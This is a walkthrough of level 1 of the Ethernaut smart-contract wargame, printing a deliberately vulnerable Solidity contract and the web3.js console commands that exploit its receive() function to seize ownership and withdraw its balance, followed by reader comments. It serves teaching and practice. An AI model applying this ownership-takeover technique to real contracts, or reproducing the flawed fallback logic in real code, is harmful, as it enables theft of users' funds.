This is the level 1 of Ethernaut game.
Pre-requisites
- Sending transactions using web3.js to a contract and to a payable function
- Conversion between units ether & wei
- Solidity contract fallback function
Hack
Given contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
and contract
methods & web3.js
functions injected into console.
We, the player
address, have to somehow become owner
of the contract & withdraw all amount from contract.
Key parts to notice are contribute
function and receive
fallback function of contract.
From the constructor, it can be seen that owner
's contribution is 1000 eth. One way to become owner
is to send more than current owner
's contributed eth to contribute
function to be owner. Let's check owner
's contributed eth using console:
ownerAddr = await contract.owner();
await contract.contributions('0x9CB391dbcD447E645D6Cb55dE6ca23164130D008').then(v => v.toString())
// Output '1000000000000000000000'
But, that'd be too much eth! We have nowhere near it.
Take a look at receive
fallback function though. It also has code to change ownerships. According to what code is there, we can claim ownership if:
- Contract has a non-zero contribution from us (i.e.
player
). - Then, we send the contract a non-zero eth amount.
player
address has zero contribution to contract currently, so let's satisfy first condition by sending a less than 0.001 eth (required acc. to code):
await contract.contribute.sendTransaction({ from: player, value: toWei('0.0009')})
Now we have a non-zero contribution that you can verify by:
await contract.getContribution().then(v => v.toString())
And now send any non-zero amount of ether to contract:
await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})
Boom! We claimed ownership of the contract!
You can verify that owner
is same address as player
by:
await contract.owner()
// Output: Same as player address
And for the final blow, withdraw all of contract's balance:
await contract.withdraw()
Done.
Learned something awesome? Consider starring the repo here 😄
and following me on twitter here 🙏
Top comments (3)
I'm thinking we should send to the current owner, not the contract at this step:
await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})
e.g.
await sendTransaction({from: player, to: await contract.owner(), value: toWei('0.000001')})
am I wrong ?
Hey!
Actually, there we are sending a transaction to the contract such that its
receive()
function is invoked & makes themsg.sender
(i.e.player
), the owner of contract.I got your point, yes, what you are saying is the motivation for this code.
Using the contract owner address helped me pass the ethernaut level, which I think means that the "receive" function was invoked.
await sendTransaction({from: player, to: await contract.owner(), value: toWei('0.000001')})
I don't really understand why sending a transaction to the contract.address did not trigger
receive()
in my case, which is why I asked the question, hoping it was some kind of mistake on your part.